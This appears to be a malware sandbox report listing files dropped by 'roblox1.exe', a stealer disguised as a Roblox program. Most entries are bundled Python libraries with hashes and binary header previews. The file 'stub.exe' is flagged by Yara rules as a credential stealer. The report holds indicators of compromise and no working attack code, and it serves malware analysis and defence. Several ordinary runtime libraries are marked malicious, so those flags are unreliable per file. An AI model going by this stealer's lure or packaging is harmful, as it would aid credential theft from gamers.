C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\aiohttp\_http_parser.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	265216
Entropy (8bit):	6.169190575012905
Encrypted:	false
SSDEEP:	3072:6VuE3wfVay+yG9N5EcV5E5V0HV5ffOxnGNp6P2eUm6PIZoHhbjI5l:qV3wfVUv5Eq5ffXKP2RgUbj2
MD5:	CFCEB0CC2F7BFE5F8E33061EB40662ED
SHA1:	8D27CFA4BF1E32C5EF17BBA4AF1815AB0523A13B
SHA-256:	489521FC6B3DE3ABD2F9F3C17DFC42919E44B53453EA439B30240A986152B07C
SHA-512:	377E3F3BDB89B486D76860D6BC66D0741F29035105F74CC9CCBF34842F5DA1E7855D9A9531B8AAAD482E708AE49BFBE012E857BF72CED2975AEB4D6B64528918
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\.<...RR..RR..RR...R..RR..SS..RRS.SS..RR..SS..RR..SR.RR..QS..RR..VS..RR..WS..RR..ZS..RR..RS..RR...R..RR..PS..RRRich..RR................PE..d......f.........." ...(.............0....................................................`.........................................@...........x....`.......@..H............p..\......................................@............@...............................text....-.......................... ..`.rdata.......@.......2..............@..@.data....F..........................@....pdata..H....@......................@..@.rsrc........`......................@..@.reloc..\....p......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\aiohttp\_http_writer.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	5.733157245866308
Encrypted:	false
SSDEEP:	768:dFd3TU4fyPems4AhK4n+e5RtoyTyc6Ko2gs5lhpWuFPbPHDPY/Sq8lWi/m7:djTUOF1g4+er2y2HKdgsf/lHjsS7lWi
MD5:	60A5DF89F9F9812619FC145B497D7EF0
SHA1:	A52F234C1C20CA75E58CEFDDAFF82AA3AD1FE758
SHA-256:	C4F748A1BA5AFF15719358C8C98A4B3D58E9A54B0B3FE56A371ECDEFA566278F
SHA-512:	C188BCF9C617B2C1FA333B1F71342C75DA0248898D7F2BA98B887EC46EA750C04CC3EF4DF82860BC69D59FA8A746736B598F37DF8650FF3727D6342B09309974
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6..Tr..r..r..{.5.p...g..p..9...p...g..q...g..z...g..~......q..r.....g`..s..g`..s..g`Y.s..g`..s..Richr..................PE..d......f.........." ...(.v...........x.......................................P............`............................................h...H...d....0....... ..0............@......`............................... ...@...............H............................text...(u.......v.................. ..`.rdata...0.......2...z..............@..@.data...(N..........................@....pdata..0.... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\aiohttp\_websocket.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	5.5970447917528094
Encrypted:	false
SSDEEP:	768:YrQDXgJinHx+wr47jrqJUfuk3HI6cX27T/U2HCWWwGeq:ISvHx9s7jus3H9LH5WwGe
MD5:	1D2338EFB662095C61A31B36C7FF9A0D
SHA1:	DEAEEF56D21CBDF5FED321C4574490334F4453EF
SHA-256:	6C092641F8C45B0187A3B5133720AE1BDA215E1E92A9E094AB37DAB4AA7F6642
SHA-512:	ACFD558B8CC48ED6356EA20FEAD7D87B402E67955AC1A9B8C3F8C688284376622E30297323CCCEB5A1E81F5F2443B8F6D3A0587B29D46B8CDF9AD666121C9B7E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......*.H[n.&.n.&.n.&.g...l.&..g'.l.&.%.'.l.&..g%.m.&..g".f.&..g#.b.&...'.m.&.n.'...&.{`..o.&.{`&.o.&.{`..o.&.{`$.o.&.Richn.&.........................PE..d......f.........." ...(.N...D......0P....................................................`..........................................\|..d...t\|..d...............4................... s...............................q..@............`...............................text....L.......N.................. ..`.rdata...+...`...,...R..............@..@.data................~..............@....pdata..4...........................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\certifi\cacert.pem

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299427
Entropy (8bit):	6.047872935262006
Encrypted:	false
SSDEEP:	6144:QW1x/M8fRR1jplkXURrVADwYCuCigT/QRSRqNb7d8iu5Nahx:QWb/TRJLWURrI5RWavdF08/
MD5:	50EA156B773E8803F6C1FE712F746CBA
SHA1:	2C68212E96605210EDDF740291862BDF59398AEF
SHA-256:	94EDEB66E91774FCAE93A05650914E29096259A5C7E871A1F65D461AB5201B47
SHA-512:	01ED2E7177A99E6CB3FBEF815321B6FA036AD14A3F93499F2CB5B0DAE5B713FD2E6955AA05F6BDA11D80E9E0275040005E5B7D616959B28EFC62ABB43A3238F0
Malicious:	false
Preview:	.# Issuer: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Subject: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Label: "GlobalSign Root CA".# Serial: 4835703278459707669005204.# MD5 Fingerprint: 3e:45:52:15:09:51:92:e1:b7:5d:37:9f:b1:87:29:8a.# SHA1 Fingerprint: b1:bc:96:8b:d4:f4:9d:62:2a:a8:9a:81:f2:15:01:52:a4:1d:82:9c.# SHA256 Fingerprint: eb:d4:10:40:e4:bb:3e:c7:42:c9:e3:81:d3:1e:f2:a4:1a:48:b6:68:5c:96:e7:ce:f3:c1:df:6c:d4:33:1c:99.-----BEGIN CERTIFICATE-----.MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG.A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv.b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw.MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i.YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT.aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ.jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp.xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\cryptography\hazmat\bindings\_rust.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7900672
Entropy (8bit):	6.519460416205842
Encrypted:	false
SSDEEP:	49152:Hvisa2OcIo0UYN1YA2sBCT7I0XIU6iOGtlqNVwASO0AIjoI+b0vjemXSKSDhxlT3:Pi/2PTYDBCT7NY+gTNxY7GbdJ295x
MD5:	81AD4F91BB10900E3E2E8EAF917F42C9
SHA1:	840F7AEF02CDA6672F0E3FC7A8D57F213DDD1DC6
SHA-256:	5F20D6CEC04685075781996A9F54A78DC44AB8E39EB5A2BCF3234E36BEF4B190
SHA-512:	11CD299D6812CDF6F0A74BA86EB44E9904CE4106167EBD6E0B81F60A5FCD04236CEF5CFF81E51ED391F5156430663056393DC07353C4A70A88024194768FFE9D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l..(...(...(...!...:...8......8...,...8... ...8...9...c..&...G......(...+...`...V...(.....`...)...`...)...Rich(...........................PE..d....j.f.........." ...).`Z..V........X.......................................x...........`.........................................p.r.......r...............t...............x......Cj.T....................Cj.(....Aj.@............pZ..............................text...._Z......`Z................. ..`.rdata..ZR...pZ..T...dZ.............@..@.data....+....r.......r.............@....pdata........t.......s.............@..@.reloc........x.......w.............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\frozenlist\_frozenlist.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	5.9308989665858585
Encrypted:	false
SSDEEP:	1536:ZmwCw3vZ1w4vI1FxF6S2s0suvV81dvUflo6vp9862WhFo1emYU+:Z/CwxqC+bsNlflo6h93FiemYL
MD5:	911470750962640CEB3FD11E2AEECD14
SHA1:	AF797451D4028841D92F771885CB9D81AFBA3F96
SHA-256:	5C204F6966526AF4DC0C0D6D29909B6F088C4FA781464F2948414D833B03094D
SHA-512:	637043C20DC17FBC472613C0E4F576F0A2211B7916B3488806AEC30271CF1BD84BD790518335B88910662FD4844F8ED39FA75AA278577271A966756B8CD793F7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........._5..1f..1f..1f.f..1f..0g..1f..0g..1f..4g..1f..5g..1f..2g..1f..0g..1f..0fS.1f.q9g..1f.q1g..1f.q.f..1f.q3g..1fRich..1f........................PE..d.....{e.........." ...%.....t......p.....................................................`.........................................p6..h....6..x............p..4....................&...............................$..@...............(............................text............................... ..`.rdata...I.......J..................@..@.data...P....P.......2..............@....pdata..4....p.......@..............@..@.rsrc................L..............@..@.reloc...............N..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\libcrypto-1_1.dll

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3439512
Entropy (8bit):	6.096012359425593
Encrypted:	false
SSDEEP:	98304:kw+jlHDGV+EafwAlViBksm1CPwDv3uFfJ1:1slHDG2fwAriXm1CPwDv3uFfJ1
MD5:	AB01C808BED8164133E5279595437D3D
SHA1:	0F512756A8DB22576EC2E20CF0CAFEC7786FB12B
SHA-256:	9C0A0A11629CCED6A064932E95A0158EE936739D75A56338702FED97CB0BAD55
SHA-512:	4043CDA02F6950ABDC47413CFD8A0BA5C462F16BCD4F339F9F5A690823F4D0916478CAB5CAE81A3D5B03A8A196E17A716B06AFEE3F92DEC3102E3BBC674774F2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........R.m.R.m.R.m.[...@.m.0.l.P.m.0.h.^.m.0.i.Z.m.0.n.V.m.R.l..m..l.Y.m...n.O.m...i.+.m...m.S.m....S.m...o.S.m.RichR.m.........................PE..d...`.0b.........." ......$...................................................5......4...`..........................................x/..h...:4.@....p4.\|....p2.8....\4.......4..O....,.8...........................`.,.@............04..............................text.....$.......$................. ..`.rdata........$.......$.............@..@.data...!z....1..,....1.............@....pdata.......p2.......1.............@..@.idata..^#...04..$....3.............@..@.00cfg..u....`4.......3.............@..@.rsrc...\|....p4.......3.............@..@.reloc...y....4..z....3.............@..B................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\libffi-7.dll

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32792
Entropy (8bit):	6.3566777719925565
Encrypted:	false
SSDEEP:	384:2nypDwZH1XYEMXvdQOsNFYzsQDELCvURDa7qscTHstU0NsICwHLZxXYIoBneEAR8:2l0Vn5Q28J8qsqMttktDxOpWDG4yKRF
MD5:	EEF7981412BE8EA459064D3090F4B3AA
SHA1:	C60DA4830CE27AFC234B3C3014C583F7F0A5A925
SHA-256:	F60DD9F2FCBD495674DFC1555EFFB710EB081FC7D4CAE5FA58C438AB50405081
SHA-512:	DC9FF4202F74A13CA9949A123DFF4C0223DA969F49E9348FEAF93DA4470F7BE82CFA1D392566EAAA836D77DDE7193FED15A8395509F72A0E9F97C66C0A096016
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6.3.r}]Ar}]Ar}]A{..Ap}]A .\@p}]A..\@q}]Ar}\AU}]A .X@~}]A .Y@z}]A .^@q}]A..Y@t}]A..^@s}]A..]@s}]A.._@s}]ARichr}]A........................PE..d......].........." .....F...$.......I....................................................`..........................................j.......m..P....................f...............b...............................b...............`.. ............................text....D.......F.................. ..`.rdata..H....`.......J..............@..@.data................^..............@....pdata...............`..............@..@.reloc...............d..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\libssl-1_1.dll

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	698784
Entropy (8bit):	5.533720236597082
Encrypted:	false
SSDEEP:	12288:waXWJ978LddzAPcWTWxYx2OCf2QmAr39Zu+DIpEpXKWRq0qwMUxQU2lvz:dddzAjKnD/QGXKzpwMUCU2lvz
MD5:	DE72697933D7673279FB85FD48D1A4DD
SHA1:	085FD4C6FB6D89FFCC9B2741947B74F0766FC383
SHA-256:	ED1C8769F5096AFD000FC730A37B11177FCF90890345071AB7FBCEAC684D571F
SHA-512:	0FD4678C65DA181D7C27B19056D5AB0E5DD0E9714E9606E524CDAD9E46EC4D0B35FE22D594282309F718B30E065F6896674D3EDCE6B3B0C8EB637A3680715C2C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......{.T.?.:.?.:.?.:.6f..3.:.]f;.=.:..l;.=.:.]f?.3.:.]f>.7.:.]f9.;.:..g;.<.:.?.;...:..g>...:..g:.>.:..g.>.:..g8.>.:.Rich?.:.........PE..d.....0b.........." .....<...T......<................................................[....`.........................................00...N..HE..........s.......\|M..............h... ...8...............................@............0..H............................text....:.......<.................. ..`.rdata..:....P...0...@..............@..@.data...AM.......D...p..............@....pdata..dV.......X..................@..@.idata..PW...0...X..................@..@.00cfg..u............d..............@..@.rsrc...s............f..............@..@.reloc..a............n..............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\multidict\_multidict.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	47616
Entropy (8bit):	5.316469446718147
Encrypted:	false
SSDEEP:	768:3Y2vE6F6hmSrnDe651sYEYMXMBkYcE6n0/d3g:oAoVDeWlEEBkYcDni
MD5:	95463F615865A472F75DDB365644A571
SHA1:	91F22EF3F2FFD3E9D6CE6E58BEEA9A96287B090B
SHA-256:	9EE77474D244A17337D4CCC5113FE4AF7B4D86F9969293A884927718D06E63C8
SHA-512:	E3CCCCE9EBF5E7CF33E68046D3E7B59E454CCB791635EB5F405977FD270126EF8B58E6288DBE58C96B681361D81EF28720EBA8D0BD389BFB0F4C3114D098A117
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........o.T.............v?............v........................&{................................S.............Rich............PE..d....\|.f.........." ...).\...`......`^....................................................`.............................................d.......d...............................L.......................................@............p...............................text....Z.......\.................. ..`.rdata...,...p.......`..............@..@.data....#..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..L...........................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\pyexpat.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	198568
Entropy (8bit):	6.360283939217406
Encrypted:	false
SSDEEP:	3072:rkPTemtXBsiLC/QOSL6XZIMuPbBV3Dy9zeL9ef93d1BVdOd8dVyio0OwUpz1RPoi:AKmVG/pxIMuPbBFEFDBwpp2W
MD5:	6BC89EBC4014A8DB39E468F54AAAFA5E
SHA1:	68D04E760365F18B20F50A78C60CCFDE52F7FCD8
SHA-256:	DBE6E7BE3A7418811BD5987B0766D8D660190D867CD42F8ED79E70D868E8AA43
SHA-512:	B7A6A383EB131DEB83EEE7CC134307F8545FB7D043130777A8A9A37311B64342E5A774898EDD73D80230AB871C4D0AA0B776187FA4EDEC0CCDE5B9486DBAA626
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......O...........6...k.....k.....k.....k.....o............\|.o.....o.....o.Z...o.....Rich..................PE..d....K.b.........." ... ............0................................................0....`.........................................`...P................................)..........@6..T............................5..@............ ...............................text...K........................... ..`.rdata....... ......................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\python3.dll

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	64936
Entropy (8bit):	6.1037683983631625
Encrypted:	false
SSDEEP:	768:kD8LeBLeeFtp5V1BfO2yvSk70QZF1nEyjnskQkr/RFB1qucwdBeCw0myou6ZwJqL:kDwewnvtjnsfwaVISQ0a7SydEnn
MD5:	07BD9F1E651AD2409FD0B7D706BE6071
SHA1:	DFEB2221527474A681D6D8B16A5C378847C59D33
SHA-256:	5D78CD1365EA9AE4E95872576CFA4055342F1E80B06F3051CF91D564B6CD09F5
SHA-512:	DEF31D2DF95CB7999CE1F55479B2FF7A3CB70E9FC4778FC50803F688448305454FBBF82B5A75032F182DFF663A6D91D303EF72E3D2CA9F2A1B032956EC1A0E2A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........f..A.e.A.e.A.e.%}m.@.e.%}e.@.e.%}..@.e.%}g.@.e.RichA.e.........................PE..d....K.b.........." ... ..................................................................`.........................................`...`................................)..............T............................................................................rdata..............................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\python310.dll

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4493736
Entropy (8bit):	6.465157771728023
Encrypted:	false
SSDEEP:	49152:5vL1txd/8sCmiAiPw+RxtLzli0Im3wOc+28Ivu31WfbF9PtF+FNDHaSclAaBlh7y:Dw7Ad07RmodacSeSHCMTbSp4PS
MD5:	C80B5CB43E5FE7948C3562C1FFF1254E
SHA1:	F73CB1FB9445C96ECD56B984A1822E502E71AB9D
SHA-256:	058925E4BBFCB460A3C00EC824B8390583BAEF0C780A7C7FF01D43D9EEC45F20
SHA-512:	FAA97A9D5D2A0BF78123F19F8657C24921B907268938C26F79E1DF6D667F7BEE564259A3A11022E8629996406CDA9FA00434BB2B1DE3E10B9BDDC59708DBAD81
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+.o...o...o.......m.......b.......c.......g.......k...f.`.u......f...o...3..............n.......n.......n...Richo...................PE..d....K.b.........." ... ..#...!.....\|!........................................E.....{.D...`..........................................G=.......>.\|.....E.......B......hD..)....E..t...Q%.T...........................`P%.@.............#.0............................text.....#.......#................. ..`.rdata...\....#..^....#.............@..@.data... ....0>.......>.............@....pdata........B.. ....A.............@..@PyRuntim`.....D.......C.............@....rsrc.........E.......C.............@..@.reloc...t....E..v....C.............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\select.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29096
Entropy (8bit):	6.4767692602677815
Encrypted:	false
SSDEEP:	384:rPxHeWt+twhCBsHqF2BMXR6VIS7GuIYiSy1pCQkyw24i/8E9VFL2Ut8JU:ZeS+twhC6HqwmYVIS7GjYiSyv7VeEdH
MD5:	ADC412384B7E1254D11E62E451DEF8E9
SHA1:	04E6DFF4A65234406B9BC9D9F2DCFE8E30481829
SHA-256:	68B80009AB656FFE811D680585FAC3D4F9C1B45F29D48C67EA2B3580EC4D86A1
SHA-512:	F250F1236882668B2686BD42E1C334C60DA7ABEC3A208EBEBDEE84A74D7C4C6B1BC79EED7241BC7012E4EF70A6651A32AA00E32A83F402475B479633581E0B07
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........{?t..Q'..Q'..Q'.b.'..Q'.`P&..Q'.`T&..Q'.`U&..Q'.`R&..Q'.`P&..Q'..P'..Q'5hP&..Q'.`\&..Q'.`Q&..Q'.`.'..Q'.`S&..Q'Rich..Q'........................PE..d....K.b.........." ... .....2......................................................l.....`..........................................@..L....@..x....p.......`.......H...)......L....3..T............................2..@............0...............................text............................... ..`.rdata..H....0......................@..@.data........P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......<..............@..@.reloc..L............F..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\sqlite3.dll

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1445800
Entropy (8bit):	6.579172773828651
Encrypted:	false
SSDEEP:	24576:tU3g/eNVQHzcayG7b99ZSYR4eXj98nXMuVp+qbLKeq98srCIS:ck3hbEAp8X9Vp+2q2gI
MD5:	926DC90BD9FAF4EFE1700564AA2A1700
SHA1:	763E5AF4BE07444395C2AB11550C70EE59284E6D
SHA-256:	50825EA8B431D86EC228D9FA6B643E2C70044C709F5D9471D779BE63FF18BCD0
SHA-512:	A8703FF97243AA3BC877F71C0514B47677B48834A0F2FEE54E203C0889A79CE37C648243DBFE2EE9E1573B3CA4D49C334E9BFE62541653125861A5398E2FE556
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........\|{.............e.......g.......g.......g.......g......Po...............g.......g.......g.....g......Rich............PE..d....L.b.........." ... ..................................................... .......`....`..............................................!...................0...........)......\|...Pg..T............................f..@............ ..(............................text............................... ..`.rdata..D.... ......................@..@.data...0A.......8..................@....pdata.......0......................@..@.rsrc...............................@..@.reloc..\|...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	16927744
Entropy (8bit):	6.302956053733049
Encrypted:	false
SSDEEP:	98304:q1AOB/8NakwZBOCjzAI3WtPV+SBMmL5kPAcEpbfNuHb9BwPmBPwYqMx7dF5C/qqS:q1AlAkDw/s05IrNpdc0
MD5:	6FE46FD6E5B143F5114E6616C59B703C
SHA1:	D7EC21B14605DEDB9FA17FE94FDD4F38F27E46DD
SHA-256:	5DE7D49690EDDFC6C109081D498ECAE18EDB6D980A7380C05B0AADE16A75D09A
SHA-512:	B339DF96044A205713BFF7E5B7341233017697966C69D26B8C8D9E6B216481D5401970E9AE9F2EE6285469C1DE451033F8BC3A967B10657226665D4472B46250
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe, Author: Joe Security Rule: JoeSecurity_MonsterStealer, Description: Yara detected Monster Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....Jg...............+.....H......%..........@.........................................`.....................................................49.....8.R......G.......................................... N..(.......................(............................text...X...........................`..`.data...0....0....... ..............@....rdata..............................@..@.eh_fram.............\|..............@....pdata...G.......H...~..............@..@.xdata.............................@..@.bss.....................................idata..49.......:...z..............@....CRT....`..........................@....tls...............................@....rsrc...8.R......R.................@..@.reloc...............@..............@..B................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1121192
Entropy (8bit):	5.384501252071814
Encrypted:	false
SSDEEP:	12288:bMYYMmuZ63NoQCb5Pfhnzr0ql8L8koM7IRG5eeme6VZyrIBHdQLhfFE+uz9O:AYYuXZV0m8wMMREtV6Vo4uYz9O
MD5:	102BBBB1F33CE7C007AAC08FE0A1A97E
SHA1:	9A8601BEA3E7D4C2FA6394611611CDA4FC76E219
SHA-256:	2CF6C5DEA30BB0584991B2065C052C22D258B6E15384447DCEA193FDCAC5F758
SHA-512:	A07731F314E73F7A9EA73576A89CCB8A0E55E53F9B5B82F53121B97B1814D905B17A2DA9BD2EDA9F9354FC3F15E3DEA7A613D7C9BC98C36BBA653743B24DFC32
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........(..F...F...F......F..G...F..C...F..B...F..E...F...G...F.C.G...F...G...F...K...F...F...F.......F...D...F.Rich..F.........................PE..d....K.b.........." ... .B...........*.......................................@......Y.....`.............................................X...(........ ...................)...0......@b..T............................a..@............`..x............................text....A.......B.................. ..`.rdata......`.......F..............@..@.data...............................@....pdata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	98736
Entropy (8bit):	6.474996871326343
Encrypted:	false
SSDEEP:	1536:BxhUQePlHhR46rXHHGI+mAAD4AeDuXMycecb8i10DWZz:Bvk4wHH+mZD4ADAecb8G1
MD5:	F12681A472B9DD04A812E16096514974
SHA1:	6FD102EB3E0B0E6EEF08118D71F28702D1A9067C
SHA-256:	D66C3B47091CEB3F8D3CC165A43D285AE919211A0C0FCB74491EE574D8D464F8
SHA-512:	7D3ACCBF84DE73FB0C5C0DE812A9ED600D39CD7ED0F99527CA86A57CE63F48765A370E913E3A46FFC2CCD48EE07D823DAFDD157710EEF9E7CC1EB7505DC323A2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A.&k..H8..H8..H8.I9..H8...8..H8..I8(.H8e.K9..H8e.L9..H8e.M9..H8e.H9..H8e..8..H8e.J9..H8Rich..H8................PE..d....9............" ... .....`......`.....................................................`A........................................0C..4...dK...............p..p....Z...'...........-..p............................,..@............................................text............................... ..`.rdata...A.......B..................@..@.data...0....`.......B..............@....pdata..p....p.......F..............@..@_RDATA..\............R..............@..@.rsrc................T..............@..@.reloc...............X..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\yarl\_helpers_c.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	54784
Entropy (8bit):	5.745430306227729
Encrypted:	false
SSDEEP:	768:luW10HHYD8RU55Wo0YixccXdyNkj32cf4p9hQQv5QbxiXjoltOanMvydo:lueEHBMIo0ZxcEyNOn4/+iXjYMvy
MD5:	6FB550DDAEE31AFEDD29BDB97E2525F2
SHA1:	B58257F37C581F143176D0C7ABD3A98FEC75A12F
SHA-256:	33A9B6F1CAEDE0DBC9EE83097DEA21C6DB0A5CABFF27F2917EA94CF47688E9DF
SHA-512:	DBEB69892C63238AEA76422815E45B7B1E12A7D2A0BCC6170F690B68EB56BC04C071413885FCE81CC6CE435D9C60C36D9B97C792C75C21541DB612C48124DF38
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........o.Z.............v?..............v..............................f{...........................S...........Rich............................PE..d....X.f.........." ...).....Z...............................................0............`.........................................`...d.......d...............,............ ......`............................... ...@............................................text............................... ..`.rdata...8.......:..................@..@.data...0...........................@....pdata..,...........................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

